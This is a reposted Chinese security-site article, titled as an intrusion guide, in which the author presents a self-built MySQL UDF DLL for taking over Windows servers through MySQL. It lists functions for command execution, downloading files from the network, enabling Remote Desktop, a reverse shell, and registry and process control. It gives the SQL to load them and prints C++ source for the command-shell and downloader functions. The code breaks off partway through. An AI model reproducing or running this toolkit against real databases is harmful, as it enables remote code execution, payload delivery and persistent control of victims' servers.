您现在的位置:中国下载站学院中心安全技术安全防范 → 文章列表

入侵之打造全功能MYSQL入侵UDF

作者:佚名  来源:不详  发布时间:2007-1-30 13:46:52   

减小字体 增大字体

 
 

现在网上通过mysql获得系统权限大都通过MYSQL的用户函数接口UDF,比如Mix.dll和my_udf.dll。在Mix.dll中有一个MixConnect函数它会反弹shell,但是使用这个函数会造成MYSQL假死,前些天我就用这个函数反弹shell后由于网络原因不一会儿就断开了,造成了MYSQL当掉。my_udf.dll和Mix.dll相似,但它是通过my_udfdoor函数在服务器上侦听3306端口,用nc正向连接获得shell,但它的功能显的少了点,于是我决定自己写一个功能强大,运行稳定的UDF。

MYSQL有一个开发包,它定义了自己的接口,变量类型,以及函数执行顺序。比如我们要写一个open3389函数,我们可以这样写:

extern "C" __declspec(dllexport)my_bool open3389_init(UDF_INIT *initid, UDF_ARGS *args, char *message){//在open3389函数之前调用,一般用于初始化工作,为可选函数;//return 1出错 ,0 正常   return 0;}extern "C" __declspec(dllexport)char *open3389(UDF_INIT *initid, UDF_ARGS *args,char *result, unsigned long *length,char *is_null, char *error){//真正实现功能的函数,必需函数;/*函数内容;return 结果;*/}extern "C" __declspec(dllexport)void open3389_deinit(UDF_INIT *initid){//在open3389函数之后调用,一般用于内存释放,可选函数;}[Copy to clipboard]

以上的open3389函数的返回值是char *类型的,如果是其它类型函数的参数列表也会有所不同,具体的可见MYSQL参考手册。

在写MYSQL UDF时另一个必须考虑的问题是程序的稳定时,它要经的起各种变态输入的考验,否则一旦程序出错MYSQL服务进程就会当掉。

以下是我写的UDF内容,它包含10个函数:

cmdshell 执行cmd;downloader 下载者,到网上下载指定文件并保存到指定目录;open3389 通用开3389终端服务,可指定端口(不改端口无需重启);backshell 反弹Shell;ProcessView 枚举系统进程;KillProcess 终止指定进程;regread 读注册表;regwrite 写注册表;shut 关机,注销,重启;about 说明与帮助函数;使用方法:创建函数:create function 函数名(区分大小写) returns string soname 'dll名' (注意路径);删除函数:delete function 函数名;使用函数:select 函数名(参数列表);获取参数信息可使用select 函数名("help");

以上几个函数都经过多次的测试(测试平台:MYSQL 5.0.24-community-nt、Windows XP),不太可能会造成MYSQL假死等现象,但也不排除在特殊环境,特殊输入的情况下出错的可能。

CODE://-----------------------------------------------------------------------源程序// MYSQL_UDF.cpp : 定义 DLL 应用程序的入口点。#include "stdafx.h"#include "stdio.h"#include <windows.h>#include <tlhelp32.h>#include <stdlib.h>#include <winsock.h>#include <Urlmon.h>#include "mysql.h"#include "resource.h"#pragma comment(lib, "Urlmon.lib")HANDLE g_module;//-----------------------------------------------------------------------BOOL APIENTRY DllMain(HINSTANCE hModule,DWORD ul_reason_for_call,LPVOID lpReserved){  if(ul_reason_for_call==DLL_PROCESS_ATTACH)       g_module=hModule;  return TRUE;}//-----------------------------------------------------------------------cmdshellextern "C" __declspec(dllexport)my_bool cmdshell_init(UDF_INIT *initid, UDF_ARGS *args, char *message){//return 1出错 ,0 正常   initid->max_length=65*1024*1024;   return 0;}extern "C" __declspec(dllexport)char *cmdshell(UDF_INIT *initid, UDF_ARGS *args,char *result, unsigned long *length,char *is_null, char *error){   if(args->arg_count!=1 || args->arg_type[0]!=STRING_RESULT || stricmp(args->args[0],"help")==0)   {       initid->ptr=(char *)malloc(200);       if(initid->ptr==NULL)return NULL;       strcpy(initid->ptr,"执行CMD Shell函数.\r\n例:select cmdshell(\"dir c:\\\\\");\r\n参数中的\"\\\"要用\"\\\\\"代替.");       *length=strlen(initid->ptr);       return initid->ptr;   }   int RunStatus=0;   char *cmdline,TempFilePath[MAX_PATH],ShellPath[MAX_PATH],temp[100];   DWORD size=0,len;   HANDLE hFile;      GetSystemDirectory(ShellPath,MAX_PATH-1);   strcat(ShellPath,"\\cmd.exe");   GetEnvironmentVariable("temp",TempFilePath,MAX_PATH-1);   strcat(TempFilePath,"\\2351213.tmp");   cmdline=(char *)malloc(strlen(args->args[0])+strlen(TempFilePath)+7);   strcpy(cmdline," /c ");   strcat(cmdline,(args->args)[0]);   strcat(cmdline,">");   strcat(cmdline,TempFilePath);   STARTUPINFO si;   PROCESS_INFORMATION pi;   ZeroMemory( &si, sizeof(si) );   si.wShowWindow=SW_HIDE;   si.cb = sizeof(si);   ZeroMemory( &pi, sizeof(pi) );   RunStatus=CreateProcess(ShellPath,cmdline,NULL,NULL,FALSE,0,0,0,&si,&pi);   free(cmdline);   if(!RunStatus)   {       itoa(GetLastError(),temp,10);       sprintf(temp,"Shell无法启动,GetLastError=%s\n",temp);       initid->ptr=(char *)malloc(strlen(temp)+1);       strcpy(initid->ptr,temp);       (*length)=strlen(initid->ptr);       return initid->ptr;   }   WaitForSingleObject(pi.hProcess,30000);   //获得结果   hFile=CreateFile(TempFilePath,GENERIC_READ,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL);   if(hFile!=INVALID_HANDLE_VALUE)   {       size=GetFileSize(hFile,NULL);       initid->ptr=(char *)malloc(size+100);       ReadFile(hFile,initid->ptr,size+1,&len,NULL);       (initid->ptr)[size]='\0';       strcat(initid->ptr,"\r\n---------------------------------完成!\r\n");       CloseHandle(hFile);       DeleteFile(TempFilePath);   }   else   {       initid->ptr=(char *)malloc(100);       strcpy(initid->ptr,"\r\n---------------------------------完成!\r\n");   }   (*length)=strlen(initid->ptr);   return initid->ptr;}extern "C" __declspec(dllexport)void cmdshell_deinit(UDF_INIT *initid){   if(initid->ptr!=NULL)       free(initid->ptr);}//-----------------------------------------------------------------------downloaderextern "C" __declspec(dllexport)my_bool downloader_init(UDF_INIT *initid, UDF_ARGS *args, char *message){//return 1出错 ,0 正常   initid->max_length=65*1024*1024;   return 0;}extern "C" __declspec(dllexport)char *downloader(UDF_INIT *initid, UDF_ARGS *args,char *result, unsigned long *length,char *is_null, char *error){   if(args->arg_count!=2 || args->arg_type[0]!=STRING_RESULT || args->arg_type[1]!=STRING_RESULT || stricmp(args->args[0],"help")==0)   {       initid->ptr=(char *)malloc(200);       if(initid->ptr==NULL)return NULL;       strcpy(initid->ptr,"下载者函数\r\n例:select downloader(\"http://www.baidu.com/server.exe\",\"c:\\\\winnt\\\\system32\\\\ser.exe\");\r\n参数中的\"\\\"要用\"\\\\\"代替.");       *length=strlen(initid->ptr);       return initid->ptr;   }   HANDLE hFile;   char path[MAX_PATH];   strcpy(path,(args->args)[1]);      hFile=CreateFile(path,GENERIC_WRITE,FILE_SHARE_READ, NULL,CREATE_ALWAYS,0,NULL);   if(hFile==INVALID_HANDLE_VALUE)   {       initid->ptr=(char *)malloc(100+strlen(path));       sprintf(initid->ptr,"文件创建失败,请确认目录存在且有写权限(%s).",path);       *length=strlen(initid->ptr);       return initid->ptr;   }   CloseHandle(hFile);   DeleteFile(path);      if(URLDownloadToFile(NULL,(args->args)[0],path,0,0)==S_OK)   {       initid->ptr=(char *)malloc(50+strlen(path));       sprintf(initid->ptr,"下载文件成功(%s).",path);       *length=strlen(initid->ptr);       return initid->ptr;   }   e
转贴于:中国QQ站

  • 上一篇文章:协议欺骗攻击技术常见种类简析及防范
  • 下一篇文章:安全常识:识破十种电子邮件诈骗术
  • 阅读统计:[]
  • 中国QQ站】【设为主页】【收藏本页】【打印本文】【回到顶部】【关闭此页

    相关文章
    文章评论(评论内容只代表网友观点,与本站立场无关!)

    用户名: 查看更多评论

    分 值:100分 85分 70分 55分 40分 25分 10分 0分

    内 容:

             (注“”为必填内容。) 验证码: 验证码,看不清楚?请点击刷新验证码


    设为首页 - 关于我们 - 广告服务 - 网站地图 - 加入收藏 - 网站声明 - 网站帮助 - 友情链接

    • Copyright (C) 2006-2008 www.cndownz.com All Rights Reserved.
      中国下载站 版权所有. 粤ICP备05141802号. 对本站有任何建议、意见或投诉,请来信:cndownzcom@yahoo.com.cn.
      喜欢中国下载站(cndownz.com),请把中国下载站(cndownz.com)告诉你QQ上的5位好友,多谢支持!